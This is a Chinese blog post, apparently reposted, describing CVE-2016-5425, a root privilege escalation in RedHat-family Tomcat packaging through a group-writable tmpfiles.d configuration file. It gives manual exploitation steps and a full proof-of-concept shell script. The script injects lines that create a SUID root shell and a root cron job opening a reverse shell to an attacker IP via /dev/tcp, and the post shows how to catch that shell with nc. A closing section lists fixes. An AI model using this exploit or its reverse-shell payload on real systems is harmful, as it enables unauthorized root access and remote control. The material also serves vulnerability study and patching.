基于RedHat系列,发行的Apache Tomcat本地提权漏洞

最近,CE真的是有点忙,不好意思,更的有点慢,只能先找其他博主的文章来充充数发发哈。(#^.^#)

虽然我们生活在阴沟里,但依然有人仰望星空!

基于RedHat系列,发行的Apache Tomcat本地提权漏洞

0x01 简介

  • 通过yum 安装的时候,会在/usr/lib/tmpfiles.d/ 目录下创建一个tomcat.conf文件,该文件的属主为root,但是属组为tomcat,并且具有写权限,所以当我们拥有webshell 权限的时候,就可以往里面写东西,此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。
    在这里插入图片描述

  • /usr/lib/tmpfiles.d/ 中的文件描述了 systemd-tmpfiles 如何创建、清理、删除临时文件和目录

    • systemd-tmpfiles 是用来根据配置文件的指引,创建、删除、清理 易变文件与临时文件,它根据三个目录来决定如何创建、删除、清理 易变文件与临时文件以及易变目录与临时目录。

    • 这三个目录分别是:

      /etc/tmpfiles.d/*.conf

      /run/tmpfiles.d/*.conf

      /usr/lib/tmpfiles.d/*.conf

    • 如果我们能往 这三个目录里写文件,那么,当/usr/bin/systemd-tmpfiles --create 得到执行的时候,它就可以根据我们写的内容来创建文件并修改权限

    • 上面已经提到 /usr/lib/tmpfiles.d/tomcat.conf 权限为664,所以,我们只要有tomcat 权限,就可以修改改文件,所以我们首先需要一个tomcat 的权限。
      在这里插入图片描述
      在这里插入图片描述

0x02 手工测试步骤

1.先确定下本地LINUX发行版本和TOMCAT版本。
在这里插入图片描述
2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中
在这里插入图片描述

cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & \n\n"
_eof_

3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]

[root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create

4.nc监听端口,获取反弹root的反弹shell

0x03 漏洞影响

攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。

0x04 漏洞编号

CVE-2016-5425

0x05 影响的版本

  • CentOS
  • Fedora
  • Oracle Linux
  • RedHat
    • Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425

0x06 漏洞复现

基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下

[root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
-rw-rw-r--. 1 root tomcat 43 May 12  2015 /usr/lib/tmpfiles.d/tomcat.conf

tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。

在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:

[root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf

根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。

C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1

POC 代码

-----------[ tomcat-RH-root.sh ]---------
  
#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#
  
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
  
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e  "  Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
if [ $? -ne 0 ]; then
    echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
    exit 1
fi
echo -e "\n[+] Your system is vulnerable!"
  
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_
  
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"
  • 执行以后会返回一些信息,该脚本所做操作就只是把第32-34行的代码写到/usr/lib/tmpfiles.d/tomcat.conf 文件里

    • 当管理员执行 /usr/bin/systemd-tmpfiles --create 的时候,/usr/lib/tmpfiles.d/tomcat.conf 里面的内容将会得到执行

      1、把/bin/bash 复制到/usr/share/tomcat/rootsh

      2、设置/usr/share/tomcat/rootsh 权限为4770

      3、把"* * * * * root nohup bash -i >/dev/tcp/ A T T A C K E R I P / ATTACKER_IP/ ATTACKER_PORT 0<&1 2>&1 & \n\n" 写到/etc/cron.d/tomcatexploit ,权限为644, 因为/etc/cron.d的文件必须是权限644,否则会出错,属主为root,其实就是增加一个计划任务,每一分钟执行一次 bash -i >/dev/tcp/ A T T A C K E R I P / ATTACKER_IP/ ATTACKER_PORT 0<&1,即反弹shell 到我们指定的IP:端口

    • 在poc 的19、20行定义了IP和端口变量,可以根据实际情况修改
      在这里插入图片描述

    • Poc 执行完以后,/usr/lib/tmpfiles.d/tomcat.conf 文件里应该会多出以上3行内容
      在这里插入图片描述

  • 执行完以后,只要管理员执行了 /usr/bin/systemd-tmpfiles --create ,以上命令就会被执行,那么 /usr/bin/systemd-tmpfiles --create 何时会执行呢?

    在 /usr/lib/systemd/system/systemd-tmpfiles-setup.service 里,就有这个命令。
    

在这里插入图片描述
也就是说,在systemd-tmpfiles-setup 服务重启的时候,就会被执行。

  重启系统或手工重启该服务。因为在重启系统的时候,该服务将会自动启动,

  **手工重启服务 /usr/bin/systemd-tmpfiles --create**

 然后就可以看到在/usr/share/tomcat/rootsh ,已经被设置了s 标志位,也就是,而且在/etc/cron.d 目录下,写了一个计划任务,每一分钟执行,反弹一个shell 到我们10.1.1.100 ,端口为9999

在这里插入图片描述
在这里插入图片描述
然后我们只要在10.1.1.100 机器上打开nc监听9999端口即可,监听命令nc -lvp 端口号。大概等几秒或一分钟左右,会反弹一个Shell,即可得到root 权限。
在这里插入图片描述

0x07 解决办法

  • 临时修复建议
    • 可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。

      chmod 644 /usr/lib/tmpfiles.d/tomcat.conf

  • 更新最新Tomcat包
    • Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。
发布了178 篇原创文章 · 获赞 75 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/103020513
今日推荐